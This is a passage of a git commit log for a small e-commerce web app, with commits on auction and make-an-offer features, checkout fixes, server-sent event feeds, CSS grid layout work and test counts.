 2026-05-13 07:09:56 -04:00
russell@unturf.com
6119489c40
bump GIT_HASH to ebeb8af 2026-05-13 06:28:26 -04:00
russell@unturf.com
ebeb8afa87
fix: offer page — seller sees a shareable pay link, buyer pay button stands out 
When an offer is accepted but unpaid, the seller's view now has an
"Awaiting payment" block: the buyer's name (linked to their profile), the
agreed amount, and the offer URL pre-filled in a read-only input plus a
"Copy link" button (capability-driven — the input is selectable for
manual copy when JS is absent or clipboard API is blocked). The notice
banner also says "waiting on the buyer to pay $X" in the seller's view.

The buyer's pay-now button is now mps-button-green so it's unmistakable
as the call-to-action.

Tests: TestOfferCheckout gains two render tests — seller sees the
awaiting-payment block + URL but not a pay-now form; buyer sees the
$75.00 pay-now form but not the awaiting block. 9 in class pass.
 2026-05-13 06:28:18 -04:00
russell@unturf.com
8b40e90d58
bump GIT_HASH to 157e6f7 2026-05-12 21:04:01 -04:00
russell@unturf.com
157e6f769a
feat: bounded SSE feeds for offer & auction state machines 
New text/event-stream endpoints — /o/{offer_id}/events (buyer/seller only)
and /a/{auction_id}/events (public). Each polls the row ~every 1.5s, emits
a `data: {json}` frame on connect and whenever the state-machine state
changes, sends a heartbeat comment, then closes after ~25s so the browser
EventSource reconnects — "bounded" because uWSGI is sync (~16 worker
threads) and a long-lived SSE would starve the pool. Shared helper
lib/sse.py (sse_response / event_stream); it uses its own short-lived DB
session per poll (request.dbsession is already closed by pyramid_tm by the
time the streaming generator runs). Timings come from settings
(app.sse.hold_seconds / app.sse.poll_interval_seconds; test.ini sets them
tiny so the streaming tests finish in ~0.06s).

Client: auction.js opens the EventSource and feeds each frame into its
existing applyState(); it falls back to polling /a/{id}.json every 5s
where EventSource is unavailable. offer.js opens the EventSource on the
offer page and reload()s on a state change (the whole layout depends on
state / can_act). offer.j2 carries data-offer-state. Caddy auto-detects
text/event-stream and stops buffering — no Salt change.

Tests: 4 new functional tests (both endpoints stream the right
content-type + a state frame; 404 for outsiders / unknown ids). 994 passed.
 2026-05-12 21:03:50 -04:00
russell@unturf.com
93c0facbbc
bump GIT_HASH to 5b44132 2026-05-12 20:37:13 -04:00
russell@unturf.com
5b44132058
fix: offer/auction checkout — land in the new cart, not a stale empty one 
offer_checkout and auction_checkout were creating a cart and hand-setting
cart.active = True, which left the user with two active carts for the
shop; /cart then resolved to the older, empty one — so "Pay $X" appeared
to do nothing. Both now use shop.create_new_cart_for_user() (deactivates
the user's other carts for that shop, activates the new one) and redirect
to /cart/{cart_id} directly, so it works regardless of which shop the
request is scoped to.

Tests: TestOfferCheckout / TestAuctionCheckout now assert there is exactly
one active cart, it carries the cart_offer/cart_auction association, it is
non-empty, and the redirect targets that cart by id. 990 passed.
 2026-05-12 20:37:07 -04:00
russell@unturf.com
adf6175d04
bump GIT_HASH to 87ac9d9 2026-05-12 20:10:27 -04:00
russell@unturf.com
87ac9d90ca
fix: confirm prompt on terminal offer actions (accept / decline / withdraw) 
These end the negotiation, so the forms now carry onsubmit="return
confirm(...)". offer.js bails when the prompt is cancelled — it checks
event.defaultPrevented before firing the AJAX request — so the JS path
respects the confirmation too, and the no-JS path gets the native dialog
before the POST+redirect.
 2026-05-12 20:10:13 -04:00
russell@unturf.com
c43336925c
bump GIT_HASH to 2886a42 2026-05-12 19:53:58 -04:00
russell@unturf.com
2886a4255d
fix: crossfade clamps both tracks to active tab's current volume 
Crossfades (user-initiated and DJ auto-transitions) faded the incoming
track up to volume 1.0 regardless of how loud the playing tab actually
was, producing a jarring jump in loudness mid-transition. Read
activeMedia.volume when a fade begins and use it as the ceiling for both
the outgoing and incoming tracks; restore that same level if a DJ
crossfade is cancelled.
 2026-05-12 19:53:42 -04:00
russell@unturf.com
31f8449c7d
bump GIT_HASH to 6f52af0 2026-05-12 18:40:27 -04:00
russell@unturf.com
6f52af0c2c
fix: actions hub — cap at two columns, restore gap, always show Offers button 
The previous .action-button-grid used auto-fit/minmax(15rem,1fr) which
produced four columns on a wide well, and .mps-button's `min-width: 100%`
+ auto margins fought grid track sizing so the gap collapsed and buttons
touched. Now: single column on narrow, exactly two equal columns at
≥720px (auto-flow keeps them balanced), explicit column/row gap, and the
grid resets .mps-button min-width/margins. The "🤝 Offers" button is now
always shown to shop owners (was gated on shop.offer_enabled) so the
offers inbox is always reachable.
 2026-05-12 18:40:22 -04:00
russell@unturf.com
ff6a35b887
bump GIT_HASH to e97d18b 2026-05-12 17:47:29 -04:00
russell@unturf.com
e97d18bccd
MPS-21: public profile page, offer-history identity, shop offers inbox, actions hub rebuild 
- Offer history & offer page show the buyer's display name (User.display_name
  = the public `name` handle; `full_name` is private) linked to a profile
  page — never the email. _serialize_offer drops buyer_email; events carry
  actor_name/actor_handle/actor_id, header carries buyer_name/buyer_handle.
- New public profile page: GET /profile/{handle} (views/user.py:user_profile,
  template profile.j2). Shows gravatar (User.gravatar_url(size) — forced
  identicon unless the user opted into Gravatar), member-since, owned/edited
  shops, and a <details> "Show email" that is server-gated: only the user
  themselves, or a shop owner/editor viewing in that shop's context
  (?shop={shop_id}) when the profile user has transacted there (an offer or
  an invoice).
- New operator offers inbox: GET /s/{shop_id}/offers (@shop_editor_required,
  shop_offers.j2) — open offers first, each row links to /o/{id} and the
  buyer's profile. Reachable from /actions/view via a new "Offers" button
  (shown when shop.offer_enabled).
- /actions/view rebuilt: one flat .action-button-grid (Grid auto-fit,
  minmax(15rem,1fr)) inside a properly-padded .action-columns well — fixes
  the off-balance two-column layout and buttons overflowing the well; no
  <br> spacers. Styleguide gains profile-card and action-button-grid
  patterns.
- offer.j2: buyer name shown (linked to profile); "Buyer:"/"Seller:" message
  lines renamed "Buyer note:"/"Seller note:" to disambiguate.

Tests: 11 new functional tests (profile render + email gating, offers inbox,
actions button, styleguide). 989 passed.
 2026-05-12 17:47:24 -04:00
russell@unturf.com
cb61227b2c
bump GIT_HASH to 227fc4e 2026-05-12 16:34:25 -04:00
russell@unturf.com
227fc4e564
MPS-21: offer-page state notice + design-system Make-an-Offer settings form 
- offer.j2 renders a state-aware notice (.offer-state-notice, .alert
  variants) above the action forms: declined / withdrawn / expired /
  accepted (+ pay-now hint for buyer) / your-turn / waiting — so the
  viewer always understands the offer state without depending on a flash
  a JS redirect would skip. _serialize_offer now exposes is_declined,
  is_withdrawn, is_expired, is_pending, is_countered, is_accepted.
- Shop-settings Make-an-Offer section restyled with the new
  .settings-form / .settings-form-grid / .settings-field /
  .settings-field-hint system (two-up grid, per-field hints, submit
  pinned right). Added a styleguide entry under #forms.
- Reworded the section blurb: auto-declined offers are NOT silent — the
  buyer is told their offer was too low; only the seller isn't pinged.
- Fixed --color-text-muted typo (→ --text-muted) on .offer-js-flash-info.

Tests: TestOfferRoutes gains 3 state-notice render tests;
TestSettingsFormStyleguide covers the styleguide + live shop-settings
markup and asserts the old wording is gone. 978 passed.
 2026-05-12 16:34:21 -04:00
russell@unturf.com
38b5739ce7
bump GIT_HASH to 2cad248 2026-05-12 12:04:28 -04:00
russell@unturf.com
2cad2482b8
MPS-20/MPS-21: capability-driven presentation for auction & offer actions 
Every bid/buy-now/watch and offer open/counter/accept/decline/withdraw
POST now works as a plain browser submit: flash + 302 redirect to the
auction/offer page. JSON is returned only when the request carries
X-Requested-With: XMLHttpRequest. Adds offer.js progressive-enhancement
layer (mirrors auction.js); pay-now CTA on accepted offers; .offer-js-flash
styling; grid layout for offer/action forms. offer_accept emails the
buyer only on the transition into ACCEPTED.

Tests: TestOfferRoutes/TestAuctionRoutes now drive the JSON path via an
AJAX helper; new TestOfferNoJsFallback/TestAuctionNoJsFallback cover the
plain-POST redirect path. 973 passed.
 2026-05-12 12:04:19 -04:00
russell@unturf.com
981b1316f2
bump GIT_HASH to a90979a 2026-05-12 11:13:11 -04:00
russell@unturf.com
a90979a46c
MPS-23: single warm sending identity for transactional mail 
All transactional mail now sends From app.email.sender (default
no-reply@origin.makepostsell.com) instead of per-shop no-reply@<domain>,
with the shop name (or email.from_name) as the display name. The origin
identity is DKIM-signed (d=makepostsell.com) and SPF-authorized and
relays via mx1's warm IP, so operator custom-domain shops stop getting
spam-foldered. format_from_header() builds the From; send_email() gained
a from_name kwarg. Reply-To / per-shop contact email still TODO.
 2026-05-12 11:13:11 -04:00
russell@unturf.com
0f19da5ba8
docs: add MPS-23 ticket — consolidated transactional sender identity 2026-05-12 11:07:38 -04:00
russell@unturf.com
f4be4f4612
bump GIT_HASH to 9a0782e 2026-05-12 08:14:57 -04:00
russell@unturf.com
9a0782e61f
verification-challenge: center on login-card, add 'try again' link to login page 2026-05-12 08:14:57 -04:00
russell@unturf.com
4b96acae0c
bump GIT_HASH to f9b73bb 2026-05-11 18:14:12 -04:00
russell@unturf.com
f9b73bb9de
product offer form: breathing room around bid + optional message 
Per fox: "a touch more whitespace around the bid and optional message".
The expanded Make-an-offer form had the label, amount input, message
input, and submit button stacked flush against each other inside the
$42.00 well — no vertical rhythm.

New .product-offer-form CSS:
- display: grid; gap: var(--space-3, 12px)
- top margin var(--space-3) separates it from the summary button
- inputs get box-sizing: border-box, width: 100%, padding 8px 12px so
  they fill the column with comfortable internal spacing

Grid only.
 2026-05-11 18:13:53 -04:00
russell@unturf.com
9c00d52dfd
bump GIT_HASH to 5cad5c3 2026-05-11 17:30:11 -04:00
russell@unturf.com
5cad5c3a0c
product page: 280px floor on the purchase column (two-column grid) 
Per fox: the price / Add-To-Cart / Make-an-offer box gets squeezed too
narrow on mid-width viewports (960px–1200px) where the 2fr/1fr split
gives the 1fr column only ~250-300px, crushing the buttons.

section.two-column grid columns: minmax(0, 2fr) minmax(280px, 1fr)
- the images column can shrink (minmax(0, 2fr)) so the purchase
  column always gets its 280px minimum first
- once the viewport is wide enough, the columns return to the 2:1
  ratio up to the 1200px max-width

Grid only, no flex.

Tests pass (10 in target slices).
 2026-05-11 17:29:55 -04:00
russell@unturf.com
46dd2cb929
bump GIT_HASH to 2630b78 2026-05-11 12:55:34 -04:00
russell@unturf.com
2630b78175
fix: .mps-button back to inline-block — inline-grid broke multi-child buttons 
The inline-grid + place-items: center change put each child of a button
into its own grid row. Buttons that hold an icon span + label text (the
windows-95 hamburger: <span>☰</span> + "shop.unturf.com") got the icon
on one line and the label on the next.

.mps-button is now display: inline-block again — multi-child content
flows on one line as expected. The squish fix is retained without grid:
- box-sizing: border-box (normalizes <button> vs <a>)
- padding: 12px 18px (symmetric, generous horizontal — no more text
  jammed against the edge)
- line-height: 1.4 (explicit, not UA "normal")
- min-height: 44px (tap-target floor)
- appearance: none, font-family: inherit

.mps-button-primary likewise back to inline-block with box-sizing,
line-height, text-align: center.

(.edit-card-icon stays inline-grid + place-items: center — it holds a
single glyph, so grid centering is correct there. Still Grid only,
no flex anywhere.)

Tests pass (10 in target slices).
 2026-05-11 12:55:14 -04:00
russell@unturf.com
3af81a38e9
bump GIT_HASH to 7df421d 2026-05-11 10:44:33 -04:00
russell@unturf.com
7df421dba3
fix: remove all flexbox — Grid only (CLAUDE.md transgression) 
I shipped display:inline-flex / display:flex across .mps-button,
.mps-button-primary, .edit-card-icon, edit-page h3 headers,
.edit-status-bar, .edit-status-pill, .edit-save-bar,
.upload-thumbnails-header, .upload-thumbnail-item, and an inline
style on the torrent_opt_in label — all violations of the project's
Grid-only rule. fox caught it. All converted:

- .mps-button / .mps-button-primary / .edit-card-icon:
  display: inline-grid; place-items: center  (was inline-flex + center)
- edit-page h3 headers (icon + title):
  display: grid; grid-template-columns: auto 1fr; align-items: center
- .edit-status-bar: text-align: right + inline-grid pills that flow/wrap
  (was flex + flex-wrap + justify-content: flex-end)
- .edit-status-pill: display: inline-grid; grid-auto-flow: column
- .edit-save-bar: display: grid; grid-template-columns: 1fr auto
- .upload-thumbnails-header: display: grid; grid-template-columns: 1fr auto
  with a max-width: 600px media query collapsing to 1fr
- .upload-thumbnail-item: display: grid; grid-auto-rows: min-content;
  align-content: space-between  (replaces the flex margin-top: auto trick
  for pinning the upload form to the bottom of the stretched cell)
- torrent_opt_in label inline style: display:grid;grid-template-columns:auto 1fr

CLAUDE.md updated: the CSS-layout rule now spells out the Grid
equivalent for every flex pattern, clarifies which alignment
properties ARE valid in grid context, and includes a dated SHAME LOG
entry for this transgression.

Tests pass (11 in target slices).
 2026-05-11 10:44:11 -04:00
russell@unturf.com
cec78ccd45
bump GIT_HASH to 37e314d 2026-05-11 09:45:37 -04:00
russell@unturf.com
37e314d534
cache-bust static CSS with ?v={git_hash} on every deploy 
Browsers were caching /static/css/common.css indefinitely (the <link>
had no version param), so CSS fixes didn't show up until a hard
refresh. Fox kept seeing the old squished-button CSS after deploys.

- New request property request.git_hash (reified) returns the short
  git hash baked in at deploy time (views.version.GIT_HASH)
- base.j2 tokens.css and common.css links now carry ?v={{ request.git_hash }}

Each deploy bumps GIT_HASH, so the CSS URL changes, so browsers fetch
the fresh file. No more stale-CSS confusion.
 2026-05-11 09:45:17 -04:00
russell@unturf.com
40d25edb6d
bump GIT_HASH to 8853a5a 2026-05-11 08:19:31 -04:00
russell@unturf.com
8853a5aa08
fix: .mps-button squished on <button> elements — normalize box model 
Per fox: Add To Cart / Make an offer buttons looked squished (text
crammed at top, little vertical space) while .mps-button on <a>
elements (cart page) looked fine.

Root cause: <button> elements inherit UA-stylesheet line-height and
box-sizing that differ from <a>. The class set padding-top/bottom: 14px
but with the native button line-height the text didn't center properly.

Normalized .mps-button:
- appearance: none (+ -webkit-) — strip native button chrome
- box-sizing: border-box — consistent across <button>/<a>/<input>
- font-family: inherit — buttons default to a different font
- line-height: 1.4 — explicit, was relying on UA "normal"
- padding: 12px 16px (was 14px 0) — symmetric, gives horizontal
  breathing room too
- vertical-align: middle

Now <button class="mps-button">, <a class="mps-button">, and
<input type=submit class="mps-button"> all render the same.

Tests pass (9 in pricing_mode slice).
 2026-05-11 08:19:18 -04:00
russell@unturf.com
08ba11ab9d
bump GIT_HASH to d593062 2026-05-11 07:28:09 -04:00
russell@unturf.com
d593062e6b
product page: owner sees "offers enabled" indicator instead of nothing 
Per fox: "i only see add to cart not offer" — viewing their own
offer-mode (3/4) product as the shop owner showed just Add To Cart
with no sign that offers were active. The Make-an-offer form is
correctly hidden for owners (can't offer on your own product, same
as auctions), but that left owners with no feedback.

Now when product.offers_allowed and the viewer is a shop owner,
the page shows:
  ✓ Offers enabled — buyers see a "Make an offer" button here.
    You can't offer on your own product.

Buyers (non-owner, logged in) still see the expandable offer form.
Anon visitors still see "Log in to make an offer".

Updated test_make_offer_hidden_for_seller: owner now asserts no
Submit Offer button + no "Log in to make an offer" CTA, but DOES
see "Offers enabled" indicator.
 2026-05-11 07:27:55 -04:00
russell@unturf.com
d56c49f3ee
bump GIT_HASH to ee4bd86 2026-05-11 06:38:42 -04:00
russell@unturf.com
ee4bd862ce
fix: pricing_mode never saved — handler gated on absent "submit" param 
Root cause found via prod debug log: the product edit form's
onsubmit="submit.disabled = true" handler disables the submit button
before the browser collects form data, so the "submit" key is never
sent in the POST. The pricing_mode / allow_offers / auction-config
block was gated on `if "submit" in request.params:` — always False —
so it never ran. Hence no flash, no save.

The standard handlers (title, description, price, visibility) don't
have this gate; they check whether the field's value changed. The
pricing_mode block now follows the same pattern: gated on
`if "pricing_mode" in request.params:` (that radio only appears on
the product-title-and-description edit form, so other forms on the
page — uploads, inventory, bundle — don't trigger it).

- pricing_mode: read request.params["pricing_mode"], apply if valid
  and changed; immediate flush; flash; auto-create draft auction when
  switching into auction mode
- allow_offers: only processed when "allow_offers" in request.params
  (so a different form submitting won't reset the override)
- auction config block: unchanged, still inside the pricing_mode gate
- torrent_opt_in: also re-gated on "pricing_mode" in params instead of
  "submit" (was equally broken, just masked by the torrent kill switch)

Removed all the temporary debug logging (ENTER line, /opt and /tmp
file writes, journalctl warning).

Tests pass (15 in pricing_mode + auction-config slices).
 2026-05-11 06:38:26 -04:00
russell@unturf.com
938fda3e4a
bump GIT_HASH to a186b4d 2026-05-10 20:06:37 -04:00
russell@unturf.com
a186b4d000
debug: log every product_edit view hit + use /opt path for log 
The /tmp/mps-pricing-debug.log file didn't appear after fox triggered
a save attempt. Two changes to narrow down why:

1. Move the debug log to /opt/make_post_sell/pricing-debug.log (where
   uwsgi has owner write access) with /tmp as fallback. PrivateTmp or
   permissions might be blocking /tmp writes on this systemd setup.

2. Add an ENTER log line at the top of product_edit() that fires for
   every request — GET, POST, save, etc. If this line never appears,
   the view itself isn't being reached and the form is going somewhere
   else. If it appears but the pricing_mode line doesn't, the submit
   field is missing from params.
 2026-05-10 20:06:24 -04:00
russell@unturf.com
5c2694d7ae
bump GIT_HASH to 08b5440 2026-05-10 19:20:07 -04:00
russell@unturf.com
08b5440cab
edit page: title at top + preview file as separate column + file log 
Layout restructure per fox:
- "Edit Title, Description, or Visibility" rendered first at top of the
  edit grid (full width) via CSS order: 1. Useful info (title, price,
  pricing mode, visibility) is now the primary focus when landing on
  the page.
- "Upload or Replace Preview File" extracted into its own <section
  class="upload-preview well2"> sibling. It sits in the right column
  of the same row as "Upload or Replace Product File" via the natural
  2-col grid flow.
- Visual order: title-and-description → upload-product → upload-preview
  → upload-thumbnails → price-history. Implemented via CSS order
  property so HTML structure stays simple.
- Preview section only renders for digital sellable products (not bundle,
  not physical) — same guard as before but now an explicit conditional
  around the new <section>.

Debug:
- pricing_mode handler now ALSO writes to /tmp/mps-pricing-debug.log
  (world-writable) in addition to the journalctl warning. Lets us read
  POST params on prod without sudo. Will be removed when bug is fixed.

Tests still pass (9 pricing_mode tests).
 2026-05-10 19:19:53 -04:00
russell@unturf.com
5cc17a39a3
bump GIT_HASH to 84a2412 2026-05-10 18:34:17 -04:00
russell@unturf.com
84a241221d
edit page: move status pills into call_to_action header area 
Per fox: status data was "in the wrong spot" — it had been rendered at
the top of the content area as a standalone full-width row above the
edit-page grid. Moved into the call_to_action block (top-right of the
page, same area where the permanent link lives) so the at-a-glance
state sits naturally above the form rather than splitting visual flow.

- Pills (visibility / ready / price) and permanent link now render
  together in call_to_action
- .edit-status-bar restyled: no background, no border, right-justified
  flex row (matches the right-aligned page header area)
- .edit-permanent-link: right-aligned, muted, small

Tests still pass (9 in target slice).
 2026-05-10 18:34:03 -04:00
russell@unturf.com
9495452e98
bump GIT_HASH to dbc7453 2026-05-10 18:27:01 -04:00
russell@unturf.com
dbc7453a4e
edit page: thumbnail item card layout, consistent heights, fills width 
Per fox: thumbnails "not aligned properly" and "not using horizontal
space properly". Two issues:

1) Grid was at minmax(240px, 1fr) which on the full-card-width row
   often fit 3 columns instead of 4 (240 * 4 + gaps > available
   space). Lowered to minmax(200px, 1fr) so the auto-fit gives 4
   columns on a standard desktop edit card.

2) Each upload-thumbnail-item now renders as a sub-card:
   - flex-direction: column with consistent gap
   - background --surface-dim, --color-border, --radius-md
   - preview image fixed 140px height + object-fit: contain so all
     thumbnails align even when some slots are empty or have different
     aspect ratios
   - form pushed to bottom via margin-top: auto, so the upload buttons
     line up across cells regardless of how much text is above
   - p.bold-text break-word so long filenames don't blow out the cell
   - the legacy <hr/> separator between items is hidden inside the grid
     (it was a vertical-flow artifact)

The grid uses align-items: stretch so all 4 cells have equal height.

Tests still pass (9 in target slice).
 2026-05-10 18:26:50 -04:00
russell@unturf.com
d194fc5e18
edit page: thumbnails header flex row, grid for thumbnails below 
Per fox: the thumbnails card layout was a mess — the h3, descriptor
text, and thumbnail items were all crammed into a single grid with
auto-fit columns, so thumbnail 1+2 sat on the same row as the header
and thumbnails 3+4 wrapped to row 2 leaving the left half empty.

Fix: restructure to a proper header + grid:

  <section class="upload-thumbnails well2 edit-card-full">
    <div class="upload-thumbnails-header">
      <h3>... icon + title ...</h3>
      <p class="upload-thumbnails-hint">Your cover ...</p>
    </div>
    <div class="upload-thumbnails-grid">
      <div class="upload-thumbnail-item">...</div>
      ... (4 thumbnails)
    </div>
  </section>

CSS:
- .upload-thumbnails-header: flex row, space-between, wraps on narrow
  screens; h3 grows, hint right-aligned + max-width 320px
- .upload-thumbnails-grid: auto-fit minmax(240px, 1fr) for the 4
  thumbnail slots, gap --space-4

Result: header reads cleanly across the top with the cover descriptor
on the right, and all 4 thumbnails sit in a clean grid below.

Tests still pass (9 in target slice).
 2026-05-10 18:25:30 -04:00
russell@unturf.com
b874b07d44
bump GIT_HASH to 64e1d8b 2026-05-10 17:45:08 -04:00
russell@unturf.com
64e1d8bd3c
edit page: thumbnail + edit-details cards span both columns 
Per fox: "🎨 Upload or Replace Thumbnail Files ... should be in a row
that spans two columns" — and the same for "Edit Title, Description,
or Visibility".

Both cards now get class edit-card-full, which sets grid-column: 1 / -1
so they span the entire row in the 2-column edit grid. The thumbnail
grid has up to 4 thumbnails that need room; the edit-details card
has a wide form with pricing-mode radios and description textarea.

New CSS:
  div.edit-page > section.edit-card-full { grid-column: 1 / -1; }

Styleguide updated with a live half/half/full example demonstrating
the pattern.
 2026-05-10 17:44:50 -04:00
russell@unturf.com
36da4e33ee
bump GIT_HASH to 705271e 2026-05-10 16:26:44 -04:00
russell@unturf.com
705271ec76
edit page: Material-style cards, status bar, primary save action 
Per fox: "make this look awesome", "use styleguide", "think material
design to make it stand out as to what to do".

Status bar at top of edit page — three pills surface the product's
current state in one glance:
- Visibility: Public (blue) / Unlisted (purple) / Private (gray)
- Ready to sell (green) / Missing required files (gold warning)
- Current price (gray)

The pills tell the owner immediately what's done and what isn't.

Section cards (.well2 on edit page) get Material-card treatment:
- Background, rounded corners, border, elevation-1 shadow
- Hover/focus-within bumps to elevation-3 (subtle lift)
- h3 header gets a 36px circular icon badge (.edit-card-icon),
  thin bottom border separating header from content
- Icons: 📁 product file, 📺 preview, 🎨 thumbnails, ✏️ details,
  📦 inventory, 📦 bundle

Primary save action: Save Settings button is now a filled,
prominent CTA (navy bg, white text, bold, elevation-1 shadow that
lifts to elevation-2 on hover, disabled state dims). Class
.mps-button-primary on the styleguide for reuse.

.edit-save-bar provides a sticky-bottom save container CSS for a
follow-up wrapper around the Save Settings input (not yet wired
into product_edit.j2 — same hash adds the CSS so it's available).

All wired into the styleguide:
- Status bar + 3 pill states (public ready, private incomplete, etc.)
- Section card with icon header (3 example cards)
- Primary save action button

Tokens used (with fallbacks for safety): --elevation-1/3, --radius-lg,
--radius-pill, --color-navy/navy-dark, --color-blue-tint, --space-N,
--motion-fast, --color-green-dark, --color-gold, --color-purple.

Tests still pass (10 in target slice).
 2026-05-10 16:26:30 -04:00
russell@unturf.com
2c63c60118
bump GIT_HASH to ea58c12 2026-05-10 16:09:38 -04:00
russell@unturf.com
ea58c12fda
edit page: file-meta line + thumbnail labels + merged file stats 
Per fox's feedback on shop.unturf.com edit page:

- File Type and File Size now stack on a single line with · separator
  (was 2 stacked <p> tags). Class file-meta on the wrapper, file-meta-item
  on each child. Applied to product, preview, thumbnail blocks.

- File Statistics removed as a standalone well; "Total capacity" line
  moved into the upload-product well at top, using the same file-meta
  pattern. Eliminates the half-empty 4th column in the 2-col grid.

- Thumbnail upload sections now have an <h4 class="thumbnail-label">
  showing thumbnail1 / thumbnail2 / etc. so owners can tell which slot
  is the cover (thumbnail1 shows on search pages) vs additional images.

- Description label split fix: the label, helper text, and textarea
  are now properly stacked. The section.product-title-and-description
  rule (display: grid for product page) is overridden to display: block
  on the edit page so the form flows normally.

- Helper text under the Description label uses <small class="form-help">
  with token-based styling.

- Textarea max-width 600px lifted on the edit page so it fills the
  available well width.

Styleguide entries added at /styleguide for: file-meta line, thumbnail
label, form-help.

Tests still pass (10 in target slice).
 2026-05-10 16:09:29 -04:00
russell@unturf.com
843130d2a9
bump GIT_HASH to 966c61e 2026-05-10 15:20:13 -04:00
russell@unturf.com
966c61ec04
edit page: styleguide-driven layout + pricing_mode debug log 
UI (per fox: "use styleguide to make this edit page way way better"):
- div.edit-page now max-width 1200px, centered, with token-based gap
- wells get larger internal padding (--space-4 + --space-5) so content
  isn't crammed against the well edge
- well h3:first-child resets margin-top and uses 1.125rem / 600 weight
- fieldsets inside edit page get tokens-based border, padding, legend
  styling that matches the rest of the design system

Debug:
- TEMPORARY log line in product_edit pricing_mode handler logs the raw
  POST params for the pricing_mode field plus the submit value. Will
  remove once the prod save-revert issue is diagnosed. Fox reports
  saving "Make an offer with buy-now" reverts to fixed price; cannot
  reproduce locally. Log will show whether the form is sending the
  field at all when fox saves.

Total: tests still pass (9 pricing_mode + 15 in target slice).
 2026-05-10 15:19:58 -04:00
russell@unturf.com
abab69ea3c
bump GIT_HASH to 0652f8c 2026-05-10 14:01:59 -04:00
russell@unturf.com
0652f8cf31
MPS-20 + edit page: defensive pricing_mode flush + 2-col grid layout 
Two fixes in one commit:

1) defensive: flush pricing_mode change to DB immediately after the
   radio writes it, instead of relying on the trailing
   product_modified-block flush at end of view. Fox reported saving
   "Make an offer with buy-now" reverts to fixed price; could not
   reproduce locally. Direct flush eliminates any code path between
   the radio change and end-of-view that might raise and abort the
   txn before the deferred save.

2) layout: div.edit-page goes from auto-fit minmax(240px, 1fr)
   (fits 4+ wells on wide screens) to a strict 2-column max grid:
   1 column on mobile, exactly 2 columns above 720px. The 4 wells
   on the product edit page now stack 2x2 instead of 4-across.

Tests:
- test_flip_to_offer_with_buy_now_mode_4_persists — direct POST
  pricing_mode=4 (Make Offer with Buy Now) persists
- test_flip_from_3_to_4_persists — Offer-only → Offer+buy-now
  transition persists
- test_render_form_then_submit_mode_4_via_form — fetches the rendered
  edit form via webtest and submits it back with mode=4 selected; the
  closest reproduction of fox's browser flow

All three pass locally. The save path is correct in the test harness.
If the prod issue persists after this commit, it's almost certainly
a browser-level issue (form not sending the field), not server-side.

Total: 961 tests pass (was 958 + 3).
 2026-05-10 14:01:47 -04:00
russell@unturf.com
5fbaf8fbfa
bump GIT_HASH to 891f289 2026-05-10 10:52:20 -04:00
russell@unturf.com
891f2899b2
MPS-20: auction quantity (lot size) + full owner config form 
Lets a shop owner auction a portion of inventory rather than all of it,
and reach every auction field from the product edit form (today's flow
only flipped pricing_mode and left start/end/reserve/buy-now unreachable).

Schema:
- mps_auction.quantity (Integer, default 1, server_default="1") —
  how many units this auction sells. Digital products force 1.
- Idempotent migration 1a419114ddf7 (column_exists guard)

Model:
- MpsAuction.is_lot_auction property (quantity > 1)

Owner-side form (product_edit.j2 + views/product.py):
- All auction config fields editable while state == DRAFT:
  quantity (physical only), start/end (datetime-local), start_price,
  reserve_price, buy_now_price (modes 2/4 only), bid_increment,
  soft_close_seconds
- "Schedule auction" checkbox flips DRAFT → SCHEDULED (or → ACTIVE
  if start_timestamp is already past)
- Validates end > start; blocks scheduling when invalid
- Locks all fields once SCHEDULED to preserve bidder trust
  (no rules-changes mid-flight)
- views/product.py serializes auction timestamps to YYYY-MM-DDTHH:MM
  for the datetime-local input

Cart integration:
- auction_checkout view sets cart.set_product_quantity(product, auction.quantity)
  so the cart success path's update_inventory() naturally deducts
  the right number of physical units. Cart total still uses the
  winning bid amount via auction_offer_override_in_cents — quantity
  affects inventory only, not price.

Tests:
- 2 unit (test_models.py): is_lot_auction default False, True for
  quantity > 1 (multiple values)
- 7 functional (test_functional.py): set quantity on physical auction,
  digital quantity forced to 1, schedule with future start →
  SCHEDULED, schedule with passed start → ACTIVE, end-before-start
  rejected, locked fields not overwritten after scheduled,
  auction_checkout sets cart quantity to lot size

Total: 958 tests pass (was 949 + 9).
 2026-05-10 10:52:11 -04:00
russell@unturf.com
4f751c6c03
bump GIT_HASH to 364af1f 2026-05-10 09:26:11 -04:00
russell@unturf.com
364af1fcca
MPS-20 + MPS-21: fix physical Add To Cart bypassing auction/offer 
Defect: product.j2 always rendered "Add To Cart" at list price for
physical products, even when pricing_mode=1 (auction only) or
pricing_mode=3 (offer only). A buyer browsing a physical auction
could click Add To Cart and pay list price, completely bypassing
the bidding flow.

Fix: wrap the physical Add To Cart / Sold Out branches in
{% if product.is_buy_now_allowed %} so they only render in modes
that permit direct purchase (0 fixed, 2 auction+buy_now, 4 offer+
buy_now). Modes 1 (auction-only) and 3 (offer-only) hide both the
Add To Cart button and the Sold Out indicator entirely; buyers must
use the View Auction or Make Offer entry points.

Tests:
- test_digital_fixed_price_shows_add_to_cart
- test_digital_auction_only_hides_add_to_cart
- test_digital_auction_with_buy_now_shows_add_to_cart
- test_digital_offer_only_hides_add_to_cart
- test_physical_auction_only_hides_add_to_cart (the regression fix)
- test_physical_offer_only_hides_add_to_cart (same)

Total: 949 tests pass (was 943 + 6).
 2026-05-10 09:26:02 -04:00
russell@unturf.com
d79082c6ff
bump GIT_HASH to 5e13a59 2026-05-09 21:46:47 -04:00
russell@unturf.com
5e13a59412
MPS-20 + MPS-21: docs — auction-house.md, make-offer.md, architecture index 
- docs/auction-house.md: MPS-20 reference — state machine, models,
  bidding logic (validate_bid, soft-close, proxy resolution),
  buy-now flow, tick scheduling, routes, cart integration, live UI,
  email notifications, test summary
- docs/make-offer.md: MPS-21 reference — state machine, models,
  shop settings, lib/offer pure validators + orchestrators, tick,
  routes, cart integration, email notifications, test summary
- docs/architecture.md: MPS-20 + MPS-21 marked Complete in ticket
  index; new docs added to Related Docs table
- CLAUDE.md: new "Auction & Make-an-Offer" section listing tables,
  cart integration, cron scripts, form sections, route registration
  rules, and pointers to the per-feature docs

Total: 943 tests pass (no code change in this commit).
 2026-05-09 21:46:18 -04:00
russell@unturf.com
2abf103676
bump GIT_HASH to c6ce5fd 2026-05-09 21:30:24 -04:00
russell@unturf.com
c6ce5fd495
MPS-20 + MPS-21: live UI — auction countdown JS, styleguide, design tokens 
static/js/auction.js (progressive enhancement; page works without JS):
- Live countdown clock that ticks every 1s using data-end-timestamp
  attribute pre-rendered by auction.j2
- /a/{id}.json poll every 5s for state changes (current high,
  end_timestamp updates from soft-close, terminal state)
- AJAX bid form submit with X-Requested-With header; updates UI
  without full page reload, shows flash with "winning" or "outbid by
